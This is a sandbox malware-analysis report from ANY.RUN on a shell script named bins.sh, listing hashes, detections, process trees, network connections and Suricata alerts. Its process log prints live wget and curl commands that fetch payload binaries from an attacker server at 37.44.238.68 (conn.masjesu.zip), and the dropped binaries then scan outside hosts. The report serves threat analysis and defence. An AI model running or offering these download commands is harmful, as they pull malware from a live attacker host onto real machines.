Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/57f207d3-4f4c-412e-9ac5-efabdfa004c6
Verdict:	Malicious activity
Analysis date:	December 14, 2024, 03:58:38
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (405)
MD5:	21D9061CD96A1588F3C6DCB8FA140A60
SHA1:	0EFD102495E37192C6B694413CE46BED5BAC8026
SHA256:	E33425DC169277128881BE12AB52E7AE8F2072479F15B71E125B5F43C61B9DE0
SSDEEP:	192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38967)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38968)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39752)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39717)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39821)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39753)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39836)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39837)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39822)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39840)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39718)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39852)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39849)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39848)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39841)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39857)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39856)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39853)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39865)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39860)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39845)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39844)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39861)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39864)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39872)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39869)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39868)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39873)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39880)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39889)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39888)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39896)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39885)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39884)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39897)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39876)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39881)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39877)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39900)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39901)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39909)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39916)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39917)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39904)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39913)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39905)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39908)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 39912)
SUSPICIOUS
- Connects to unusual port
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38868)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38862)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38864)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38873)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38867)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38866)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38870)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38865)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38871)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38863)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38861)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38860)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38869)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38874)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38883)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38872)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38875)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38880)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38877)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38876)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38884)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38878)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38881)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38885)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38887)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38879)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38889)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38890)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38882)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38891)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38888)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38893)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38886)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38894)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38898)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38901)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38896)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38899)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38900)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38895)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38902)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38904)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38903)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38905)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38909)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38908)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38906)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38911)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38913)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38910)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38919)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38916)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38922)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38920)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38918)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38915)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38917)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38924)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38927)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38912)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38892)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38925)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38926)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38923)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38930)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38928)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38897)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38933)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38939)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38937)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38932)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38936)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38935)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38938)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38907)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38914)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38921)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38929)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38931)
  - Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted) (PID: 38934)
- Reads /proc/mounts (likely used to find writable filesystems)
  - curl (PID: 39108)
  - curl (PID: 39077)
  - curl (PID: 39395)
  - curl (PID: 39235)
  - curl (PID: 39364)
  - curl (PID: 39427)
  - curl (PID: 39551)
  - curl (PID: 39489)
  - curl (PID: 39761)
  - curl (PID: 39726)
- Modifies file or directory owner
  - sudo (PID: 38742)
- Executes commands using command-line interpreter
  - sudo (PID: 38745)
- Executes the "rm" command to delete files or directories
  - bash (PID: 38746)
- Uses wget to download content
  - bash (PID: 38746)
- Potential Corporate Privacy Violation
  - wget (PID: 38749)
  - wget (PID: 38797)
  - wget (PID: 38983)
  - wget (PID: 38945)
  - wget (PID: 39014)
  - curl (PID: 39077)
  - wget (PID: 39107)
  - wget (PID: 39076)
  - wget (PID: 39047)
  - wget (PID: 39202)
  - wget (PID: 39169)
  - wget (PID: 39138)
  - busybox (PID: 39483)
  - curl (PID: 39108)
  - busybox (PID: 39326)
  - busybox (PID: 39422)
  - busybox (PID: 39545)
  - curl (PID: 39489)
  - busybox (PID: 39513)
  - busybox (PID: 39452)
  - busybox (PID: 39389)
  - curl (PID: 39427)
  - busybox (PID: 39636)
  - wget (PID: 39792)
  - wget (PID: 39266)
  - curl (PID: 39726)
  - curl (PID: 39235)
  - busybox (PID: 39576)
  - busybox (PID: 39787)
  - busybox (PID: 39358)
  - busybox (PID: 39605)
  - busybox (PID: 39751)
  - busybox (PID: 38792)
  - busybox (PID: 38940)
  - busybox (PID: 38978)
  - busybox (PID: 39103)
  - busybox (PID: 39229)
  - busybox (PID: 39261)
  - busybox (PID: 38824)
  - busybox (PID: 39196)
  - busybox (PID: 39133)
  - busybox (PID: 39164)
  - wget (PID: 39488)
  - wget (PID: 39580)
  - wget (PID: 39518)
  - wget (PID: 39234)
  - wget (PID: 39331)
  - busybox (PID: 39042)
  - busybox (PID: 39009)
  - wget (PID: 39363)
  - wget (PID: 39394)
  - curl (PID: 39364)
  - busybox (PID: 39072)
  - wget (PID: 39300)
  - wget (PID: 39760)
  - curl (PID: 39395)
  - wget (PID: 39550)
  - curl (PID: 39551)
  - busybox (PID: 39295)
  - curl (PID: 39761)
  - wget (PID: 39457)
  - busybox (PID: 39825)
  - wget (PID: 39609)
  - wget (PID: 39426)
  - wget (PID: 39725)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

736

Monitored processes

528

Malicious processes

100

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38741	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
38742	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38743	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38744	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38745	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38746	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
38747	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38748	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38749	wget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38750	curl -O http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

189

DNS requests

Threats

207

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
38940	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD	unknown	—	—	—
38792	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb	unknown	—	—	—
38978	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY	unknown	—	—	—
38983	wget	GET	—	37.44.238.68:80	http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9	unknown	—	—	—
—	—	GET	204	91.189.91.49:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38945	wget	GET	—	37.44.238.68:80	http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY	unknown	—	—	—
38824	busybox	GET	—	37.44.238.68:80	http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O	unknown	—	—	—
—	—	GET	—	37.44.238.68:80	http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY	unknown	—	—	—
39014	wget	GET	—	37.44.238.68:80	http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW	unknown	—	—	—
—	—	GET	—	37.44.238.68:80	http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
38749	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38792	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38797	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38824	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38833	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38829	Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O	37.44.238.68:443	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38829	Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
38860	Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted)	207.187.145.61:37215	—	—	US	unknown
38861	Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O (deleted)	65.244.95.59:37215	—	UUNET	US	unknown

DNS requests

Domain	IP	Reputation
google.com	142.250.186.110 2a00:1450:4001:812::200e	whitelisted
connectivity-check.ubuntu.com	91.189.91.49 185.125.190.97 185.125.190.17 185.125.190.49 185.125.190.48 91.189.91.96 185.125.190.98 91.189.91.98 185.125.190.18 185.125.190.96 91.189.91.48 91.189.91.97 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4000:1::2b 2620:2d:4000:1::23 2620:2d:4000:1::22 2001:67c:1562::23 2620:2d:4002:1::196 2620:2d:4000:1::97 2620:2d:4002:1::198 2620:2d:4002:1::197 2620:2d:4000:1::2a 2620:2d:4000:1::98	whitelisted
conn.masjesu.zip	87.121.86.228 37.44.238.68	unknown
196.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Misc Attack	ET CINS Active Threat Intelligence Poor Reputation IP group 38
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Potentially Bad Traffic	ET HUNTING curl User-Agent to Dotted Quad

Add for printing

No debug info

General Info

bins.sh

21D9061CD96A1588F3C6DCB8FA140A60

0EFD102495E37192C6B694413CE46BED5BAC8026

E33425DC169277128881BE12AB52E7AE8F2072479F15B71E125B5F43C61B9DE0

192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Connects to unusual port

Reads /proc/mounts (likely used to find writable filesystems)

Modifies file or directory owner

Executes commands using command-line interpreter

Executes the "rm" command to delete files or directories

Uses wget to download content

Potential Corporate Privacy Violation

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings